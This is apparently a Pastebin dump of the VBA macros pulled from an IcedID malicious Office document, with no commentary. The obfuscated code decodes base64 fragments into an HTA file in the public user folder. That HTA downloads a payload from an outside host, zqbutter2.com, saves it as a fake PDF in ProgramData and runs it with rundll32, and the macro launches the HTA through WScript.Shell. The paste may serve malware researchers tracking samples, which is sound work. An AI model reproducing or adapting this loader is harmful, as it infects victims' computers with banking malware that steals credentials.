Advertisement
e55db081d05f58a

icedID["30739a63f06056178c395aea513686a49652ed9cb7f81c4baabee6cd8f950c9f"]["macros"]

Feb 14th, 2021
2,284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. Private Const clOneMask = 16515072          '000000 111111 111111 111111
  3. Private Const clTwoMask = 258048            '111111 000000 111111 111111
  4. Private Const clThreeMask = 4032            '111111 111111 000000 111111
  5. Private Const clFourMask = 63               '111111 111111 111111 000000
  6. Private Const clHighMask = 16711680         '11111111 00000000 00000000
  7. Private Const clMidMask = 65280             '00000000 11111111 00000000
  8. Private Const clLowMask = 255               '00000000 00000000 11111111
  9. Private Const cl2Exp18 = 262144             '2 to the 18th power
  10. Private Const cl2Exp12 = 4096               '2 to the 12th
  11. Private Const cl2Exp6 = 64                  '2 to the 6th
  12. Private Const cl2Exp8 = 256                 '2 to the 8th
  13. Private Const cl2Exp16 = 65536              '2 to the 16th
  14.  
  15. Public Function a9qd3(sString)
  16.     Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
  17.     Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
  18.     Dim lTemp As Long
  19.        
  20.     lTemp = Len(sString) Mod 4
  21.     If InStrRev(sString, "==") Then
  22.         iPad = 2
  23.     ElseIf InStrRev(sString, "=") Then
  24.         iPad = 1
  25.     End If
  26.    
  27.     For lTemp = 0 To 255
  28.         Select Case lTemp
  29.             Case 65 To 90
  30.                 bTrans(lTemp) = lTemp - 65
  31.             Case 97 To 122
  32.                 bTrans(lTemp) = lTemp - 71
  33.             Case 48 To 57
  34.                 bTrans(lTemp) = lTemp + 4
  35.             Case 43
  36.                 bTrans(lTemp) = 62
  37.             Case 47
  38.                 bTrans(lTemp) = 63
  39.         End Select
  40.     Next lTemp
  41.    
  42.     For lTemp = 0 To 63
  43.         lPowers6(lTemp) = lTemp * cl2Exp6
  44.         lPowers12(lTemp) = lTemp * cl2Exp12
  45.         lPowers18(lTemp) = lTemp * cl2Exp18
  46.     Next lTemp
  47.    
  48.     bIn = StrConv(sString, vbFromUnicode)
  49.     ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
  50.     For lChar = 0 To UBound(bIn) Step 4
  51.         lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
  52.         lTemp = lQuad And clHighMask
  53.         bOut(lPos) = lTemp \ cl2Exp16
  54.         lTemp = lQuad And clMidMask
  55.         bOut(lPos + 1) = lTemp \ cl2Exp8
  56.         bOut(lPos + 2) = lQuad And clLowMask
  57.         lPos = lPos + 3
  58.     Next lChar
  59.    
  60.     sOut = StrConv(bOut, vbUnicode)
  61.     If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)   'Chop off any extra bytes.
  62.         a9qd3 = sOut
  63. End Function
  64.  
  65.  
  66. Sub akYEmN(aXGUQg, aMdvj2)
  67. End Sub
  68.  
  69.  
  70. Public Const a5DngL As String = "21232f297a57a5a743894a0e4a801fc3"
  71. Public Const aUjLaP As String = ""
  72.  
  73. Function aAman6(asvpi2)
  74.  
  75.     a1Hyvc = 1
  76.     a61jl = Len(asvpi2)
  77.     acMIp = ""
  78.  
  79.     For aNThJ9 = 1 To a61jl
  80.         acMIp = Mid(asvpi2, aNThJ9, 1) & acMIp
  81.     Next aNThJ9
  82.     aAman6 = acMIp
  83.    
  84. End Function
  85.  
  86.  
  87. Sub a4PJG(aGMNDT, atSrkM)
  88.  
  89.     Open aGMNDT For Output As #1
  90.     Print #1, atSrkM
  91.     Close #1
  92.    
  93. End Sub
  94.  
  95. Function Des(ap4FVt, aWEwRG, Optional ByVal abSWL As String = "")
  96.  
  97.     Des = Replace(a9qd3(ap4FVt), aWEwRG, abSWL)
  98.    
  99. End Function
  100.  
  101. Sub aUGt6M()
  102.  
  103.     aOhZci = Des("Y2E1UjdPMTphNVI3TzFcYTVSN08xd2E1UjdPMWlhNVI3TzFuYTVSN08xZGE1UjdPMW9hNVI3TzF3YTVSN08xc2E1UjdPMVxhNVI3TzFzYTVSN08xeWE1UjdPMXNhNVI3TzF0YTVSN08xZWE1UjdPMW1hNVI3TzEzYTVSN08xMmE1UjdPMVxhNVI3TzFtYTVSN08xc2E1UjdPMWhhNVI3TzF0YTVSN08xYWE1UjdPMS5hNVI3TzFlYTVSN08xeGE1UjdPMWVhNVI3TzE=", "a5R7O1", "")
  104.     aRj4N = Des("Y2FuUW1xQzphblFtcUNcYW5RbXFDdWFuUW1xQ3NhblFtcUNlYW5RbXFDcmFuUW1xQ3NhblFtcUNcYW5RbXFDcGFuUW1xQ3VhblFtcUNiYW5RbXFDbGFuUW1xQ2lhblFtcUNjYW5RbXFDXGFuUW1xQ3BhblFtcUN1YW5RbXFDYmFuUW1xQ2xhblFtcUNpYW5RbXFDY2FuUW1xQy5hblFtcUNjYW5RbXFDb2FuUW1xQ21hblFtcUM=", "anQmqC", "")
  105.  
  106.     aq9nc = Des("Y2FScUJXOmFScUJXXGFScUJXdWFScUJXc2FScUJXZWFScUJXcmFScUJXc2FScUJXXGFScUJXcGFScUJXdWFScUJXYmFScUJXbGFScUJXaWFScUJXY2FScUJXXGFScUJXaWFScUJXbmFScUJXZGFScUJXZWFScUJXeGFScUJXLmFScUJXaGFScUJXdGFScUJXYWFScUJX", "aRqBW", "")
  107.  
  108.     aiy3sv = Des("cmFtaTBuUXVhbWkwblFuYW1pMG5RZGFtaTBuUWxhbWkwblFsYW1pMG5RM2FtaTBuUTJhbWkwblEuYW1pMG5RZWFtaTBuUXhhbWkwblFlYW1pMG5RIGFtaTBuUXVhbWkwblFyYW1pMG5RbGFtaTBuUS5hbWkwblFkYW1pMG5RbGFtaTBuUWxhbWkwblEsYW1pMG5RT2FtaTBuUXBhbWkwblFlYW1pMG5RbmFtaTBuUVVhbWkwblFSYW1pMG5RTGFtaTBuUQ==", "ami0nQ", "")
  109.  
  110.     aWufnT = "Vwa0QvbmNrSWxKS3FYTGk1eXBPcGtiMy9heGdxbzExP01FPUhLd19JQmp5QVh0R0dvJlh5PUlZenhYV3ZzWmtiZG5QJl9VamM9UXlqd01HY3BsS25xeEJy"
  111.    
  112.     arVtd8 = "IpOw0KdmFyIGFSUUpkSSA9ICJudXIiLnNwbGl0KCIiKS5yZXZlcnNlKCkuam9pbigiIik7DQp2YXIgYW54cjMgPSAici0gQWdvbGFpRHdvaFMsIi5zcGxp"
  113.  
  114.     aoMW4 = "dCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpOw0KdmFyIGF1T0NMID0gImM6XFxwcm9ncmFtZGF0YVxcYXpmQ0IucGRmIjsNCg0Kd2luZG93LnJlc2l6ZVRvKD"
  115.     azNtH = "dmFzY3JpcHQiPg0KDQp2YXIgYVhFc1p6ID0gbmV3IEFjdGl2ZVhPYmplY3QoYUhNUGcpW2FSUUpkSV0oYU1zQkdtICsgIjMyICIgKyBhdU9DTCArIGFueH"
  116.  
  117.     a8lfWj = "ZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIikNCglhOXNTYS5PcGVuDQoJYTlzU2EuVHlwZSA9IDENCglhOXNTYS5Xcml0ZSBhRWRQQzAucmVzcG9uc2Vib2"
  118.     apC1KW = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQoNCnZhciBhSE1QZyA9ICJsbGVocy50cGlyY3N3Ii5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIi"
  119.  
  120.     aLcsx4 = "IzKTsNCndpbmRvdy5jbG9zZSgpOw0KDQo8L3NjcmlwdD4="
  121.  
  122.     acKU5Z = "JmRWej1iUHhPQW9mekljUFlYdyZsWD1xZVVtTWFwRFRzTnpxdCIsIGZhbHNlKTsNCmFFZFBDMC5zZW5kKCk7DQoNCjwvc2NyaXB0Pg0KDQo8c2NyaXB0IG"
  123.  
  124.     aNosJh = "R5DQoJYTlzU2EuU2F2ZVRvRmlsZSBhdU9DTCwgMg0KCWE5c1NhLkNsb3NlDQpFbmQgSWYNCg0KPC9zY3JpcHQ+DQoNCjxzY3JpcHQgbGFuZ3VhZ2U9Imph"
  125.     a5KYd4 = "EsIDEpOw0Kd2luZG93Lm1vdmVUbygtMTAsIC0xMCk7DQp2YXIgYUVkUEMwID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7DQphRWRQ"
  126.     aftls = "QzAub3BlbigiR0VUIiwgImh0dHA6Ly96cWJ1dHRlcjIuY29tL2ZvcnVtL3ZpZXdwb3N0L0ZhM0RTMmovMnY4ajBTd1FRZ2JqVGl3UG5KRHVUbEtzVzhmX1"
  127.     aLeWGM = "xhbmd1YWdlPSJ2YnNjcmlwdCI+DQoNCmFNc0JHbSA9ICJydW5kbGwiDQoNCklmIGFFZFBDMC5zdGF0dXMgPSAyMDAgVGhlbg0KCVNldCBhOXNTYSA9IENy"
  128.  
  129.     atSrkM = a9qd3(apC1KW & arVtd8 & aoMW4 & a5KYd4 & aftls & aWufnT & acKU5Z & aLeWGM & a8lfWj & aNosJh & azNtH & aLcsx4)
  130.  
  131.     a4PJG aq9nc, atSrkM
  132.  
  133.     a5gXO = Des("d2E3ckhxc2E3ckhxY2E3ckhxcmE3ckhxaWE3ckhxcGE3ckhxdGE3ckhxLmE3ckhxc2E3ckhxaGE3ckhxZWE3ckhxbGE3ckhxbGE3ckhx", "a7rHq", "")
  134.     CreateObject(a5gXO).run (aiy3sv & " " & aq9nc)
  135.    
  136. End Sub
  137.  
  138. Function aAdwRC(a1FGD)
  139.  
  140. End Function
  141.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement